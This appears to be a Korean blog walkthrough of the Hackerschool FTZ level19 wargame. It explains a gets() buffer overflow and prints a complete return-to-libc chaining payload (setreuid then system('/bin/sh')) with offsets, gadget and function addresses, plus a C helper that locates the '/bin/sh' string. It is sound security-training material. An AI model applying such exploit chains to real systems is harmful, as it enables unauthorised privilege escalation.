[해커스쿨 FTZ] level19 풀이
- 시스템해킹/FTZ
- 2020. 2. 16. 23:40
FTZ level19 문제 확인
이번 문제 소스코드는 단 3줄인데 buf[20]을 선언 후 gets로 여태까지의 다른 문제들과는 확연한 차이가 있다. 바로 setreuid 함수가 사용되어있지 않다는 것이다.
입력값의 길이를 확인하고 있지 않으므로 RET을 덮어쓸 수 있고 쉘 또한 실행시킬 수 있지만, 아래 캡쳐 이미지에서 보는 바와 같이 setreuid가 걸려있지 않았기 때문에 쉘 실행 권한 id가 동일한 level19임을 알 수 있다. setreuid에 대해서는 [해커스쿨 FTZ] level11 풀이 에서 설명한 바 있다.
따라서, 이번 문제는 코드에는 없는 setreuid와 system('/bin/sh')를 직접 실행시켜주어야 하는 문제이다. 그리고 그러기 위해선 RTL(Return to Library)과 RTL Chaining이라는 것을 알아야한다. 여기선 따로 설명하지 않고, RTL과 RTL Chaining에 대해선 아래 포스팅에서 정리해놓았으므로 참고하면 좋을 것 같다.
RTL(Return to Library) Chaining 이란?
사실 직접 필요한 함수들의 실행이 포함되어있는 쉘코드를 생성해서 44바이트 뒤의 RET에 쉘코드 주소를 주어도 되지만 RTL이 뭔지도 자세히 알아볼 겸 RTL을 사용해서 풀기로 하였다.
FTZ level19 문제 해결
따라서 우리는 아래의 페이로드를 구성해주면 된다.
buf
+ SFP
+ setreuid() address
+ PPR Gadget
+ setreuid() argv[0] (3100)
+ setreuid() argv[1] (3100)
+ system() address
+ dummy
+ system() argv[0] ('/bin/sh')
위 페이로드를 구성하기 위해 필요한 것들을 하나하나 수집해보자.
buf와 ret 사이의 거리
sub 0x28, esp 를 하고있으므로 dummy값은 20바이트임을 알 수 있다. 따라서 buf (20) + dummy(20) + SFP (4) 이기 때문에 buf와 ret 사이의 거리는 44이다.
setreuid(), system() 주소
적당한 곳에 bp를 걸고 실행시킨 후 p 명령을 이용해서 setreuid와 system함수의 주소를 알아낸다.
system() 인자값 /bin/sh 문자열 위치 주소
/bin/sh 문자열 주소는 아래의 간단한 코드를 사용해서 찾아준다.
#include <stdio.h>
int main()
{
long systemfunc=0x4203f2c0;
while(memcmp((void*)systemfunc,"/bin/sh",8))
{
systemfunc++;
}
printf("0x%x\n",systemfunc);
return 0;
}
system 함수 내부에서 /bin/sh 문자열을 찾아주는 코드이다.
PPR 가젯
PPR 가젯은 objdump를 사용해 attackme 바이너리 내부에서 찾아주었다.
그럼 페이로드를 구성하기 위해 필요한 것들은 전부 알아내었다.
- buf와 ret 사이의 거리 : 44바이트
- setreuid 함수 주소 : 0x420d7920
- PPR 가젯 주소 : 0x0804849d
- setreuid 인자 3100 : 0xc1c
- system 함수 주소 : 0x4203f2c0
- /bin/sh 문자열 주소 : 0x42127ea4
FTZ level19 attackme exploit
위 정보들을 사용해서 다음과 같이 페이로드를 구상할 수 있다.
"\x90"*44 // buf+SFP
+"\x20\x79\x0d\x42" // setreuid() address
+"\x9d\x84\x04\x08" // PPR Gadget address
+"\x1c\x0c\x00\x00" // setreuid() argv[0] (3100)
+"\x1c\x0c\x00\x00" // setreuid() argv[1] (3100)
+"\xc0\xf2\x03\x42" //system() address
+"\x41"*4 // dummy (system() RET)
+"\xa4\x7e\x12\x42" // system() argv[0] ('/bin/sh')
그럼, level20의 권한에서 쉘이 실행되고 level20의 비밀번호를 얻을 수 있게된다.
'시스템해킹 > FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level18 풀이 (0) | 2020.02.15 |
---|---|
[해커스쿨 FTZ] level17 풀이 (0) | 2020.02.14 |
[해커스쿨 FTZ] level16 풀이 (0) | 2020.02.13 |
[해커스쿨 FTZ] level15 풀이 (0) | 2020.02.13 |
[해커스쿨 FTZ] level14 풀이 (0) | 2020.02.13 |